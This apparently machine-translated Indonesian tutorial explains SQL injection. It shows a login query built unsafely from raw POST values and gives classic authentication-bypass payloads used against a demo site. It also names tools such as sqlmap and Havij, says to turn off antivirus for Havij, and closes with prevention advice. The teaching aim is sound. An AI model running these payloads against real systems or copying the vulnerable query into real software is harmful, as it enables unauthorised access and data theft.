Tutorial Injeksi SQL: Cara Belajar dengan Contoh
Apa itu Injeksi SQL?
SQL Injection adalah serangan yang meracuni pernyataan SQL dinamis untuk mengomentari bagian tertentu dari pernyataan atau menambahkan kondisi yang akan selalu benar. Ia memanfaatkan kelemahan desain dalam aplikasi web yang dirancang dengan buruk untuk mengeksploitasi pernyataan SQL untuk mengeksekusi kode SQL berbahaya.
Data merupakan salah satu komponen terpenting dalam sistem informasi. Aplikasi web yang didukung basis data digunakan oleh organisasi untuk mendapatkan data dari pelanggan. SQL adalah singkatan dari Structured Query Language. Ini digunakan untuk mengambil dan memanipulasi data dalam database.
Bagaimana Serangan Injeksi SQL Bekerja?
Jenis serangan yang dapat dilakukan menggunakan injeksi SQL bervariasi tergantung pada jenis mesin database. Serangan ini bekerja pada pernyataan SQL dinamis. Pernyataan dinamis adalah pernyataan yang dihasilkan saat dijalankan menggunakan parameter kata sandi dari formulir web atau string kueri URI.
Contoh Injeksi SQL
Mari kita pertimbangkan aplikasi web sederhana dengan formulir login. Kode untuk formulir HTML ditunjukkan di bawah ini.
<form action=‘index.php’ method="post"> <input type="email" name="email" required="required"/> <input type="password" name="password"/> <input type="checkbox" name="remember_me" value="Remember me"/> <input type="submit" value="Submit"/> </form>
SINI,
- Formulir di atas menerima alamat email dan kata sandi lalu mengirimkannya ke PHP file bernama indeks.php.
- Ia memiliki opsi untuk menyimpan sesi login dalam sebuah cookie. Kami telah menyimpulkan hal ini dari kotak centang remember_me. Ia menggunakan metode post untuk mengirimkan data. Ini berarti nilai-nilai tersebut tidak ditampilkan dalam URL.
Misalkan pernyataan di backend untuk memeriksa ID pengguna adalah sebagai berikut
SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password']);
SINI,
- Pernyataan di atas menggunakan nilai-nilai
$_POST[]
array secara langsung tanpa membersihkannya. - Kata sandi dienkripsi menggunakan algoritma MD5.
Kami akan mengilustrasikan serangan injeksi SQL menggunakan sqlfiddle. Buka URL-nya http://sqlfiddle.com/ di peramban web Anda. Anda akan melihat jendela berikut.
Catatan: Anda harus menulis pernyataan SQL
Langkah 1) Masukkan kode ini di panel kiri
CREATE TABLE `users` ( `id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); insert into users (email,password) values ('m@m.com',md5('abc'));
Langkah 2) Klik Bangun Skema
Langkah 3) Masukkan kode ini di panel kanan
select * from users;
Langkah 4) Klik Jalankan SQL. Anda akan melihat hasil berikut
Misalkan persediaan pengguna admin@admin.sys dan 1234 sebagai kata sandi. Pernyataan yang akan dieksekusi terhadap database adalah
SELECT * FROM users WHERE email = 'admin@admin.sys' AND password = md5('1234');
Kode di atas dapat dimanfaatkan dengan memberi komentar pada bagian kata sandi dan menambahkan kondisi yang akan selalu benar. Misalkan penyerang memberikan masukan berikut di kolom alamat email.
xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ]
xxx untuk kata sandinya.
Pernyataan dinamis yang dihasilkan adalah sebagai berikut.
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');
SINI,
- xxx@xxx.xxx diakhiri dengan kutipan tunggal yang melengkapi kutipan string
OR 1 = 1
LIMIT 1 adalah kondisi yang akan selalu benar dan membatasi hasil yang dikembalikan hanya pada satu record.- — ' DAN … adalah komentar SQL yang menghilangkan bagian kata sandi.
Salin pernyataan SQL di atas dan tempelkan SQL FiddleJalankan kotak teks SQL seperti yang ditunjukkan di bawah ini
Aktivitas Peretasan: SQL Menyuntikkan Aplikasi Web
Kami memiliki aplikasi web sederhana di http://www.techpanda.org/ yang rentan terhadap serangan SQL Injection untuk tujuan demonstrasi saja. Kode formulir HTML di atas diambil dari halaman login. Aplikasi ini menyediakan keamanan dasar seperti membersihkan kolom email. Ini berarti kode di atas tidak dapat digunakan untuk melewati proses login.
Untuk menyiasatinya, kita dapat mengeksploitasi kolom kata sandi. Diagram di bawah menunjukkan langkah-langkah yang harus Anda ikuti
Misalkan seorang penyerang memberikan input berikut
- Langkah 1: Masukkan xxx@xxx.xxx sebagai alamat email
- Langkah 2: Masukkan xxx') ATAU 1 = 1 — ]
- Klik tombol Kirim
- Anda akan diarahkan ke dasbor
Pernyataan SQL yang dihasilkan adalah sebagai berikut
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx') OR 1 = 1 -- ]');
Diagram di bawah ini menggambarkan pernyataan yang telah dihasilkan.
SINI,
- Pernyataan tersebut secara cerdas mengasumsikan enkripsi md5 digunakan
- Melengkapi kutipan tunggal dan kurung tutup
- Menambahkan kondisi pada pernyataan yang akan selalu benar
Secara umum, serangan SQL Injection yang sukses mencoba sejumlah teknik berbeda seperti yang ditunjukkan di atas untuk melakukan serangan yang berhasil.
Jenis Serangan Injeksi SQL Lainnya
Suntikan SQL dapat menimbulkan lebih banyak kerugian daripada hanya meneruskan algoritma login. Beberapa serangan tersebut antara lain
- Menghapus data
- Memperbarui data
- Memasukkan data
- Menjalankan perintah di server yang dapat mengunduh dan menginstal program jahat seperti Trojan
- Mengekspor data berharga seperti detail kartu kredit, email, dan kata sandi ke server jarak jauh penyerang
- Mendapatkan detail login pengguna, dll.
- Injeksi SQL berdasarkan cookie
- Injeksi SQL Berbasis Kesalahan
- Injeksi SQL Buta
Daftar di atas tidaklah lengkap; itu hanya memberi Anda gambaran tentang apa itu SQL Injection
Alat Otomatisasi untuk Injeksi SQL
Dalam contoh di atas, kami menggunakan teknik serangan manual berdasarkan pengetahuan kami yang luas tentang SQL. Ada alat otomatis yang dapat membantu Anda melakukan serangan dengan lebih efisien dan dalam waktu sesingkat mungkin. Alat-alat tersebut antara lain
- Peta SQL – http://sqlmap.org/
- Injeksi JSQL – https://tools.kali.org/vulnerability-analysis/jsql
Cara Mencegah Serangan SQL Injection
Suatu organisasi dapat mengadopsi kebijakan berikut untuk melindungi dirinya terhadap serangan SQL Injection.
- Masukan pengguna tidak boleh dipercaya – Itu harus selalu dibersihkan sebelum digunakan dalam pernyataan SQL dinamis.
- Prosedur tersimpan – ini dapat merangkum pernyataan SQL dan memperlakukan semua masukan sebagai parameter.
- Pernyataan yang telah disiapkan – pernyataan yang disiapkan agar berfungsi dengan membuat pernyataan SQL terlebih dahulu kemudian memperlakukan semua data pengguna yang dikirimkan sebagai parameter. Ini tidak berpengaruh pada sintaksis pernyataan SQL.
- Ekspresi reguler – ini dapat digunakan untuk mendeteksi kode yang berpotensi berbahaya dan menghapusnya sebelum menjalankan pernyataan SQL.
- Hak akses pengguna koneksi database – hanya hak akses yang diperlukan yang harus diberikan kepada akun biasa terhubung ke database. Hal ini dapat membantu mengurangi kinerja pernyataan SQL di server.
- Pesan kesalahan – pesan ini tidak boleh mengungkapkan informasi sensitif dan di mana tepatnya kesalahan terjadi. Pesan kesalahan kustom sederhana seperti "Maaf, kami mengalami kesalahan teknis. Tim teknis telah dihubungi. Silakan coba lagi nanti" dapat digunakan sebagai ganti menampilkan pernyataan SQL yang menyebabkan kesalahan.
Aktivitas Peretasan: Gunakan Havij untuk SQL Injection
Dalam skenario praktis ini, kita akan menggunakan program Havij Advanced SQL Injection untuk memindai kerentanan situs web.
Catatan: milikmu program anti-virus mungkin menandainya karena sifatnya. Anda harus menambahkannya ke daftar pengecualian atau menghentikan sementara perangkat lunak anti-virus Anda.
Gambar di bawah menunjukkan jendela utama untuk Havij
Alat di atas dapat digunakan untuk menilai kerentanan situs web/aplikasi.
Ringkasan
- SQL Injection adalah jenis serangan yang mengeksploitasi pernyataan SQL yang buruk
- Injeksi SQL dapat digunakan untuk melewati algoritma login, mengambil, menyisipkan, dan memperbarui serta menghapus data.
- Alat injeksi SQL meliputi SQLMap, SQLPing, dan SQLSmack, dll.
- Kebijakan keamanan yang baik saat menulis pernyataan SQL dapat membantu mengurangi serangan injeksi SQL.